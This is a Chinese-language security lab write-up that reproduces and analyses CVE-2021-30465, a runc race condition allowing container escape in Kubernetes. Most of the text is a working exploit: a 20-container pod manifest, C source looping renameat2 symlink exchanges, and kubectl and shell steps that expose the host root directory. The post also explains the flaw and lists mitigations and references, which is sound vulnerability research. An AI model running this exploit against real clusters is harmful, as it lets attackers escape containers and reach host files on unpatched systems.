CVE-2021-30465——runc竞争条件漏洞复现与分析
0x01 漏洞简介
近日国外安全研究员发布了可导致容器逃逸的runc漏洞 POC,该漏洞影响runc 1.0.0-rc94以及之前的版本,对应CVE编号:CVE-2021-30465。
挂载目录,对容器来说,只是简单把目录与容器的目录做映射绑定,而目录的权限还是在主机,需要用户自制维护,手动处理权限等问题。
卷 (Volume) 是受控存储,挂载卷后是由容器引擎进行管理维护的,也就是把对应卷的所有权交给了容器引擎(本次漏洞的核心点)。
而卷下面的所有操作就包含对存储、目录、软链接等等一系列。
而CVE-2021-30465漏洞就是由于runc没有处理好卷下面的资源竞争的问题而导致的。
首先我们需要定义卷A ,其次a容器挂载了卷A,同时也挂载了卷A下面的目录。
当a容器起来后,恶意程序疯狂的在挂载的目录下刷新软连接与目录的关系。与此同时b容器也像a容器一样挂载了相同中的卷和对应卷下面的目录。
因为卷所有权这个时候是在引擎内,并且a容器相同卷下的目录还在刷新软连接(相同于创建软连接)这个时间在容器引擎内部就会存在资源竞争。
一个萝卜一个坑,而2个萝卜占一坑时,就成了薛定谔的萝卜,不能确定到底是谁占了这个坑(TOCTTOU漏洞)。这也就是官方会在漏洞里面的解释不是一定能把漏洞命中的原因。
CVE-2021-30465容器逃逸漏洞主要影响以下版本:
runc 1.0.0-rc94以及之前的版本,建议更新到1.0-rc95以上版本
补丁或安全更新版本官方下载地址:
https://github.com/opencontainers/runc/releases
本次漏洞因为存在一定的机率问题,使用docker等单个容器管理很难看到效果。故使用K8S的POD能力,对多个容器进行实验。
runc版本:runc version 1.0.0-rc93
K8S版本:v1.15.5
Docker 版本:Docker version 18.06.3-ce
a. 定义好卷,和恶意容器(包含恶意刷软连接的程序)
b. 在POD中定义多容器挂载和恶意容器相同中的卷,并同时在启动的时挂载卷下面的目录在容器中
c. 批量查看POD中的容器挂载的目录内容。如果出现主机端的根目录下的内容,说明漏洞利用成功,容器可以在该挂载的目录下随意的访问到主机根目录的内容。
步骤一:创建攻击pod
# kubectl create -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: attack
spec:
terminationGracePeriodSeconds: 1
containers:
- name: c1
image: ubuntu:latest
command: [ "/bin/sleep", "inf" ]
env:
- name: MY_POD_UID
valueFrom:
fieldRef:
fieldPath: metadata.uid
volumeMounts:
- name: test1
mountPath: /test1
- name: test2
mountPath: /test2
$(for c in {2..20}; do
cat <<EOC
- name: c$c
image: donotexists.com/do/not:exist
command: [ "/bin/sleep", "inf" ]
volumeMounts: #容器内挂载点
- name: test1 #宿主机目录名
mountPath: /test1 #容器内目录名
- name: test2
mountPath: /test1/mnt1
- name: test2
mountPath: /test1/mnt2
- name: test2
mountPath: /test1/mnt3
- name: test2
mountPath: /test1/mnt4
- name: test2
mountPath: /test1/zzz
EOC
done
)
volumes:
- name: test1 #宿主机目录名
emptyDir: #宿主机挂载点
medium: "Memory"
- name: test2
emptyDir:
medium: "Memory"
EOF
其中c1为攻击容器挂载主机上的目录卷到容器。
其中c2~c20的容器挂载相同的目录卷和对应的目录的子目录。
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/syscall.h>
#ifndef RENAME_EXCHANGE
#define RENAME_EXCHANGE (1 << 1)
#endif
int main(int argc, char *argv[]) {
if (argc != 4) {
fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]);
exit(EXIT_FAILURE);
}
char *name1 = argv[1], *name2 = argv[2], *linkdest = argv[3];
int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);
if (dirfd < 0)
exit(EXIT_FAILURE);
if (mkdir(name1, 0755) < 0)
perror("mkdir failed");
if (symlink(linkdest, name2) < 0)
perror("symlink failed");
while (1)
syscall(SYS_renameat2, dirfd, name1, dirfd, name2, RENAME_EXCHANGE);
}
编译出对应的程序,并放到c1容器内:
kubectl cp cve-2021-30465-poc -c c1 attack:/test1/
把恶意程序放到以c1容器当后,进到c1容器内:
kubectl exec -ti pod/attack -c c1 – bash
ln -s / /test2/test2
进到/test1目录下,执行:
seq 1 4 | xargs -n1 -P4 -I{} ./ cve-2021-30465-poc mnt{} mnt-tmp{} /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
for c in {2..20}; do
kubectl set image pod attack c$c=ubuntu:latest
done
for c in {2..20}; do
echo ~~ Container c$c ~~
kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz
done
利用成功如图,会打印/test1/zzz目录下的内容,是否为根目录:
但是如果在调用 SecureJoinVFS 函数解析合法之后,立马用符号链接替换检查的目标文件时,通过精心构造符号链接可以将主机文件目录挂载到容器中。
因为是利用竞争条件来进行利用的,有很大概率失败的。本次漏洞利用的过程,只有11号容器命中该漏洞,成功访问到主机根目录。
该漏洞相对来说比较鸡肋,漏洞利用场景不多。需要结合类似k8s这种对容器进行编排的工具才能进行利用。漏洞利用需要多个容器挂载同一个文件卷,现在有的利用方式就是攻击者能控制用户使用攻击者构造的恶意 yaml 文件来生成pod,这样才有机会进行漏洞利用并逃逸到宿主机。
本次漏洞的细节和利用代码已经完全公开,虽然漏洞的利用存在一定的机率,但只要有一次,伤害就是100%。
1、 升级runc至官网给出的最新版本
2、 使用经审核和受信的容器镜像
3、 使用Red Hat官方提供的漏洞检测脚本,自检。
https://access.redhat.com/sites/default/files/cve-2021-30465--2021-05-19-0759.sh
0x08 参考链接
https://blog.champtar.fr/runc-symlink-CVE-2021-30465/
https://github.com/opencontainers/runc/commit/0ca91f44f1664da834bc61115a849b56d22f595f
关于鲲鹏安全实验室
鲲鹏安全实验室专注于容器安全和业务灰黑产对抗的研究,收集和挖掘容器相关技术的安全漏洞,采集业务灰黑产情报,研究对抗手段。并将研究成功转换为产品和服务。
内容编辑:鲲鹏安全实验室 鬼画符 责任编辑:剁肉工